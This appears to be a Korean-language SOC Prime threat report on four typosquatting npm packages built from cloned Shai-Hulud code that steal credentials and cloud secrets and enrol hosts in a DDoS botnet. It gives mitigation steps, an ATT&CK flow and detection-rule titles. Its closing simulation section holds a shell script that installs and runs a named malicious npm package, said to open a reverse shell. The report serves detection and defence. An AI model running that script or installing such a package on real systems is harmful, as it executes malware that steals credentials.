SOC Prime Bias: 심각

20 May 2026 22:05 UTC

샤이훌루드 클론: TeamPCP 모방자들이 여기에 있습니다

Author Photo
SOC Prime Team linkedin icon 팔로우
샤이훌루드 클론: TeamPCP 모방자들이 여기에 있습니다
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

연구자들은 정보 탈취 기능과 분산 서비스 거부 기능을 결합한 네 개의 악의적인 npm 패키지를 발견했습니다. 이 패키지는 오타 유발을 통해 인기 있는 라이브러리를 사칭하며, 공격자가 제어하는 명령 및 제어 서버를 사용하도록 수정된 오픈 소스 Shai-Hulud 코드를 포함하고 있습니다. 이러한 패키지를 설치하면 자격 증명 도난, 클라우드 비밀 정보 유출, 감염된 호스트가 DDoS 봇넷에 등록되는 결과를 초래할 수 있습니다. 이러한 발견은 npm 생태계 내의 공급망 위험이 증가하고 있음을 강조합니다.

조사

분석가는 chalk-tempalte 패키지를 유출된 Shai-Hulud 소스 코드와 비교한 결과, 공격자 정의 명령 및 제어 엔드포인트로 구성된 거의 정확하고 불명확화되지 않은 복사본임을 발견했습니다. 나머지 패키지는 도난 데이터를 별도의 악성 도메인으로 또는 IP 주소로 포트 2222를 통해 전송했습니다. 한 변형은 DDoS 활동에 사용되는 Go 기반의 로컬 봇 서비스를 배포하기도 했습니다. 네 개의 패키지는 동일한 npm 계정에서 게시되었으며, 이를 서로 연결시킵니다.

완화

조직은 프로젝트에서 즉시 악성 패키지를 제거하고 개발 환경과 빌드 시스템에서 관련 구성 아티팩트를 삭제해야 합니다. 노출되었을 수 있는 모든 자격 증명은 회전해야 하며, 식별된 악성 도메인과 IP 주소에 대한 네트워크 접근은 차단해야 합니다. 또한 팀은 동일한 정당 라이브러리를 모방하는 오타 유발 패키지를 모니터링해야 합니다.

응답

수비수는 식별된 명령 및 제어 도메인과 IP 주소로의 아웃바운드 연결을 탐지하고, 네 개의 악성 패키지 이름 설치 시 경고를 생성하기 위한 탐지를 마련하며, 악성 소프트웨어에 연결된 공개 키가 포함된 시스템을 스캔해야 합니다. 패키지 중 하나를 설치한 시스템은 지속적인 서비스, 예약된 작업 또는 추가 페이로드가 배포되었는지를 결정하기 위한 법의학 검토를 받아야 합니다.

graph TB %% Class definitions classDef technique fill:#99ccff classDef operator fill:#ff9900 initial_access[“<b>기법</b> – <b>T1195.002 공급망 침해</b><br/>초기 접근을 위해 소프트웨어 공급망을 침해한다.”] class initial_access technique automated_collection[“<b>기법</b> – <b>T1119 자동 수집</b><br/>자격 증명, 환경 변수, 클라우드 설정 파일을 자동으로 수집한다.”] class automated_collection technique creds_in_files[“<b>기법</b> – <b>T1552.001 보호되지 않은 자격 증명</b><br/>파일에 저장된 자격 증명을 수집한다.”] class creds_in_files technique private_keys[“<b>기법</b> – <b>T1552.004 보호되지 않은 자격 증명</b><br/>안전하지 않은 위치에서 개인 키를 추출한다.”] class private_keys technique victim_identity[“<b>기법</b> – <b>T1589 피해자 신원 정보 수집</b><br/>피해자의 개인 식별 정보를 수집한다.”] class victim_identity technique victim_org[“<b>기법</b> – <b>T1591.001 피해 조직 정보 수집</b><br/>피해 조직의 물리적 위치를 파악한다.”] class victim_org technique code_repos[“<b>기법</b> – <b>T1213.003 정보 저장소 데이터 수집</b><br/>코드 저장소를 수집한다.”] class code_repos technique npm_persistence[“<b>기법</b> – <b>T1176 소프트웨어 확장 기능</b><br/>악성 npm 패키지를 통한 지속성 확보.”] class npm_persistence technique exfil_over_http[“<b>기법</b> – <b>T1011 기타 네트워크 매체를 통한 유출</b><br/>HTTP/HTTPS로 C2에 데이터 전송.”] class exfil_over_http technique cloud_transfer[“<b>기법</b> – <b>T1537 클라우드 계정으로 데이터 전송</b><br/>탈취 데이터를 클라우드로 이동한다.”] class cloud_transfer technique initial_access –>|이어짐| automated_collection automated_collection –>|수집| creds_in_files automated_collection –>|수집| private_keys automated_collection –>|수집| victim_identity automated_collection –>|수집| victim_org automated_collection –>|수집| code_repos automated_collection –>|수집| npm_persistence creds_in_files –>|유출| exfil_over_http private_keys –>|유출| exfil_over_http victim_identity –>|유출| exfil_over_http victim_org –>|유출| exfil_over_http code_repos –>|유출| exfil_over_http npm_persistence –>|유출| exfil_over_http exfil_over_http –>|저장| cloud_transfer

공격 흐름

탐지

의심스러운 실행 파일 다운로드 (프록시 통해)

SOC Prime 팀
2026년 5월 20일

비정상 디렉토리에 생성된 Vscode 자동 작업 구성 파일 가능성 [MACOS] (파일 이벤트를 통해)

SOC Prime 팀
2026년 5월 20일

표준 도구를 통한 원격 파일 업로드 / 다운로드 (명령줄을 통해)

SOC Prime 팀
2026년 5월 20일

비정상 디렉토리에 생성된 Vscode 자동 작업 구성 파일 가능성 [LINUX] (파일 이벤트를 통해)

SOC Prime 팀
2026년 5월 20일

리눅스 호스트에서 숨겨진 파일이 생성됨 (파일 이벤트를 통해)

SOC Prime 팀
2026년 5월 20일

지속성 지점 가능성 [ASEPs – Software/NTUSER Hive] (레지스트리 이벤트를 통해)

SOC Prime 팀
2026년 5월 20일

지속성을 위한 Schtasks 또는 AT 사용 가능성 (명령줄을 통해)

SOC Prime 팀
2026년 5월 20일

지속성 지점 가능성 [ASEPs – Software/NTUSER Hive] (명령줄을 통해)

SOC Prime 팀
2026년 5월 20일

자동 시작 위치에서 의심스러운 바이너리 / 스크립트 (파일 이벤트를 통해)

SOC Prime 팀
2026년 5월 20일

IP 조회 도메인 통신 시도 가능성 (DNS를 통해)

SOC Prime 팀
2026년 5월 20일

비정상 최상위 도메인(TLD) DNS 요청으로 인한 의심스러운 지휘 및 통제 (DNS를 통해)

SOC Prime 팀
2026년 5월 20일

직접 실행을 위한 크론탭 사용 가능성 (명령줄을 통해)

SOC Prime 팀
2026년 5월 20일

IOC (SourceIP) 감지: 새로운 행위자가 Shai-Hulud 클론 배포: TeamPCP 모방자가 여기 있습니다

SOC Prime AI 규칙
2026년 5월 20일

IOC (DestinationIP) 감지: 새로운 행위자가 Shai-Hulud 클론 배포: TeamPCP 모방자가 여기 있습니다

SOC Prime AI 규칙
2026년 5월 20일

Shai-Hulud C2 서버로의 아웃바운드 네트워크 연결 감지 [방화벽]

SOC Prime AI 규칙
2026년 5월 20일

악성 NPM 패키지 실행 감지 [Windows 프로세스 생성]

SOC Prime AI 규칙
2026년 5월 20일

악성 npm 패키지 실행 감지 [Linux 프로세스 생성]

SOC Prime AI 규칙
2026년 5월 20일

시뮬레이션 실행

전제 조건: 텔레메트리 및 기준선 사전 비행 점검을 통과해야 합니다.

이유: 이 섹션은 탐지 규칙을 트리거하도록 설계된 적의 기술(TTP)의 정확한 실행을 자세히 설명합니다. 명령과 내러티브는 식별된 TTP를 직접 반영해야하며, 탐지 로직이 예상하는 정확한 텔레메트리를 생성하려고 합니다.

  • 공격 내러티브 및 명령:

    1. 초기 탐색 (선택 사항): 공격자는 피해자의 Node.js 환경을 열거하여 npm 이(가) 있는지 확인합니다.
    2. 악성 패키지 획득: 공격자는 정당한 유틸리티를 모방한 악성 npm 패키지를 다운로드합니다 (예: @deadcode09284814/axios-util).
    3. 설치 및 실행: 한 줄의 명령을 사용하여 공격자는 패키지를 전역적으로 설치하고 즉시 역 셸을 여는 자바스크립트 페이로드를 실행합니다.
    4. 지속성 (범위 초과): 공격자는 악성 패키지를 package.json 에 추가하여 향후 재사용할 수 있습니다.
  • 회귀 테스트 스크립트: 스크립트는 정확히 2-3 단계를 재현하여 Sigma 규칙이 일치하는 명령줄 문자열을 생성합니다.

    # malicious_npm_execution.sh
    # -------------------------------------------------
    # 1️⃣ Node.js 런타임이 있는지 확인합니다
    if ! command -v node >/dev/null 2>&1; then
        echo "[*] Node.js와 npm을 설치합니다"
        sudo apt‑update && sudo apt‑install -y nodejs npm
    fi
    
    # 2️⃣ 악성 npm 패키지를 설치합니다 (시뮬레이션)
    #    (실제 테스트에서 실제 악성 패키지로 대체합니다)
    MALICIOUS_PKG="@deadcode09284814/axios-util"
    
    echo "[*] 악성 패키지를 설치합니다: $MALICIOUS_PKG"
    npm install -g "$MALICIOUS_PKG"
    
    # 3️⃣ 패키지와 함께 제공되는 페이로드를 실행합니다
    #    여기서 우리는 단순히 패키지를 요구합니다; 패키지의 postinstall
    #    스크립트가 공격자의 코드를 실행합니다.
    echo "[*] 악성 페이로드를 트리거합니다"
    node -e "require('$MALICIOUS_PKG');"
    
    # 4️⃣ 선택 사항: 관찰을 위해 셸을 유지
    sleep 30
    echo "[*] 테스트 완료"
    # -------------------------------------------------
  • 정리 명령: 악성 패키지 및 생성된 파일을 제거합니다.

    # cleanup_malicious_npm.sh
    # -------------------------------------------------
    echo "[*] 악성 npm 패키지를 제거합니다"
    npm uninstall -g "@deadcode09284814/axios-util" || true
    
    # 홈 디렉터리의 잔여 node_modules 제거
    rm -rf "$HOME/.npm/_cacache"
    echo "[*] 정리 완료"
    # -------------------------------------------------